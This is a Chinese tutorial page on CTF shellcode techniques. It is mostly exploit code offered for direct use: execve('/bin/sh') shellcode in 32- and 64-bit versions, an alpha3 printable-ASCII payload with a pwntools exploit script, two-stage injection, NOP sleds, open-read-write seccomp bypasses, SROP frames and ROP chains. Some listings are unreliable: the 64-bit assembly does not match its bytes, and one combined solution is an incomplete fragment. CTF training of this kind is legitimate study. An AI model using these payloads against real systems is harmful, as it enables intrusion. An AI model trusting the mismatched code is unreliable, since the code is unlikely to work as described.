当前位置: 首页 > news >正文

CTF shellcode花样玩法盘点:从短小精悍到可见字符绕过,附实战exp代码

CTF shellcode高阶技巧全解析:从精炼构造到实战绕过

在CTF PWN类题目中,shellcode的灵活运用往往是突破防线的重要武器。不同于常规的漏洞利用,当面对各种输入限制和防护机制时,如何构造适应特殊环境的shellcode成为区分选手水平的关键。本文将系统梳理从基础到进阶的各类shellcode构造技巧,提供可直接用于实战的代码片段。

1. 精炼shellcode构造艺术

当题目对输入长度有严格限制时,传统的execve("/bin/sh")类shellcode往往难以满足要求。这时需要采用更精炼的汇编实现。

1.1 32位精简shellcode

push 0xb pop eax push ebx push 0x68732f2f ; "hs//" push 0x6e69622f ; "nib/" mov ebx,esp int 0x80

对应的机器码仅需18字节:

b"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

1.2 64位极简实现

xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f ; "/bin//sh" push rdi push rsp pop rdi mov al, 59 ; execve系统调用号 syscall

优化后仅需23字节:

b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

提示:64位架构下,系统调用号存放在rax寄存器,参数依次为rdi、rsi、rdx等

2. 可见字符shellcode实战

当题目限制输入必须为可打印ASCII字符时,常规shellcode将无法使用。此时可采用alpha编码技术。

2.1 手工构造原理

通过精心选择汇编指令,使其对应的机器码都落在可打印ASCII范围内。例如:

push rax pop rdi

对应的机器码0x50 0x5f分别对应字符'P'和'_',均为可打印字符。

2.2 自动化工具alpha3

# 生成可见字符shellcode python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode.bin"

实战示例:

from pwn import * context(arch = 'amd64', os = 'linux') io = process('./pwn') shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" io.send(shellcode) io.interactive()

3. 特殊限制场景突破

3.1 两字节限制的巧妙利用

当题目仅允许输入2字节时,可结合多阶段注入:

from pwn import * p = remote('challenge', 47287) context(arch='amd64') # 第一阶段:发送syscall指令 p.send(b'\x0f\x05') # 第二阶段:覆盖执行完整shellcode shellcode = b'\x90'*2 + asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()

3.2 NOP滑板技术应用

当地址随机化导致难以精确定位时,可使用NOP滑板增加命中概率:

payload = b'\x90'*1024 + asm(shellcraft.sh()) payload += p64(0x7ffffffde000) # 预估的栈地址范围

4. 沙箱环境下的ORW技巧

当题目禁用execve等系统调用时,可采用open-read-write(ORW)方式读取flag。

4.1 沙箱检测方法

seccomp-tools dump ./pwn

典型输出示例:

line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL

4.2 ORW shellcode构造

from pwn import * context.arch="amd64" shellcode = shellcraft.open("./flag") shellcode += shellcraft.read(3, 0x10000, 0x100) # fd 3为打开的文件 shellcode += shellcraft.write(1, 0x10000, 0x100) # stdout输出 shellcode = asm(shellcode)

5. 高级技巧与最新变种

5.1 SROP技术应用

利用Sigreturn系统调用实现全寄存器控制:

from pwn import * context.arch = 'amd64' frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = next(elf.search(b'/bin/sh\x00')) frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload = p64(syscall_addr) + p64(constants.SYS_rt_sigreturn) + bytes(frame)

5.2 JOP与shellcode结合

当栈不可执行时,可通过跳转导向编程实现代码执行:

pop rdi; ret /bin/sh地址 pop rsi; ret 0 pop rdx; ret 0 pop rax; ret 59 syscall; ret

6. 实战案例解析

6.1 混合限制题目突破

某CTF题目同时限制:

  • 输入长度≤32字节
  • 仅允许可打印字符
  • 禁用execve

解决方案:

# 第一阶段:设置寄存器状态的可见字符shellcode stage1 = "PYh0666TY1131Xh3333" # 第二阶段:ORW payload stage2 = asm(''' push 2 pop rax mov rdi, 0x67616c66 # "flag" push rdi mov rdi, rsp xor rsi, rsi syscall ... ''') # 通过栈迁移等技术拼接执行

7. 工具与资源推荐

工具名称用途项目地址
alpha3可见字符shellcode生成https://github.com/TaQini/alpha3
pwntools漏洞利用框架https://github.com/Gallopsled/pwntools
seccomp-tools沙箱规则分析https://github.com/david942j/seccomp-tools
ROPgadget辅助ROP链构造https://github.com/JonathanSalwan/ROPgadget

在实战中,我曾遇到一道题目需要同时绕过长度限制和字符过滤。通过组合使用alpha3编码和分段执行技术,最终构造出仅28字节的可打印shellcode成功获取flag。关键在于先设置好寄存器状态,再通过精心选择的指令实现最小功能集。

http://www.jsqmd.com/news/589854/

相关文章:

  • PHP解析配置文件的常用方法
  • 告别手动点鼠标!用Windows批处理脚本一键启动Adams并自动建模(附完整脚本)
  • MFI策略避坑指南:AKShare实战中遇到的5个典型问题与解决方案
  • OpenClaw+Phi-3-vision-128k-instruct实战:电商产品图自动生成描述文案
  • Lottie-Android实战:从入门到精通
  • OpenClaw隐私保护方案:Qwen3-14b_int4_awq本地化数据处理优势
  • 别再死磕文档了!用Vector Davinci Configurator手把手配置一个Autosar IO模块(附避坑指南)
  • PHP如何优化冗余代码
  • 2026年评价高的郑州塑料广告扇/郑州广告扇批发/郑州宣传广告扇实力厂家推荐 - 品牌宣传支持者
  • OpenClaw可视化监控:百川2-13B-4bits量化模型任务看板
  • C#调用Halcon必备DLL清单:手把手教你解决常见报错(附错误截图)
  • Chrome浏览器历史版本下载指南:稳定与兼容性的解决方案
  • OpenClaw模型热切换:Qwen3-14B与本地小模型协同工作方案
  • 2026年比较好的无纺布袋/郑州环保无纺布袋品牌厂家推荐 - 品牌宣传支持者
  • 移动端 AI Agent Harness Engineering 的机遇与限制
  • 2026年口碑好的对绞型计算机电缆/屏蔽计算机电缆公司推荐 - 品牌宣传支持者
  • OpenClaw+SecGPT-14B:5个提升个人安全效率的自动化脚本
  • Android开发实战:如何优雅地实现熄屏唤醒功能(附完整代码)
  • 百川2-13B-4bits+OpenClaw:智能邮件分类回复系统个人版
  • AD9361参考工程实战指南:fmcomms2/5/8/11选型与HDL实现差异解析
  • WIZnetInterface嵌入式以太网硬件协议栈驱动详解
  • 2026年靠谱的药厂GMP净化/千级净化公司选择指南 - 品牌宣传支持者
  • OpenClaw对接Qwen2.5-VL-7B:模型地址配置与调试
  • Harness Engineering:AI Agent从Demo到生产的桥梁
  • 2026年靠谱的全自动封箱机/打包一体封箱机高口碑品牌推荐 - 品牌宣传支持者
  • 2026年知名的面粉脉冲除尘器/无纺布除尘器口碑好的厂家推荐 - 品牌宣传支持者
  • OpenClaw学术应用:Qwen3.5-9B辅助学术论文写作全流程
  • OpenClaw自动化测试:Qwen3.5-9B生成与执行Python脚本
  • 避开这些坑,你的STM32 CAN总线通信才能稳定跑起来:从硬件电路到软件配置的避坑指南
  • 别再死记硬背Verilog语法了!用这5个实战小例子,帮你快速理解模块、wire和reg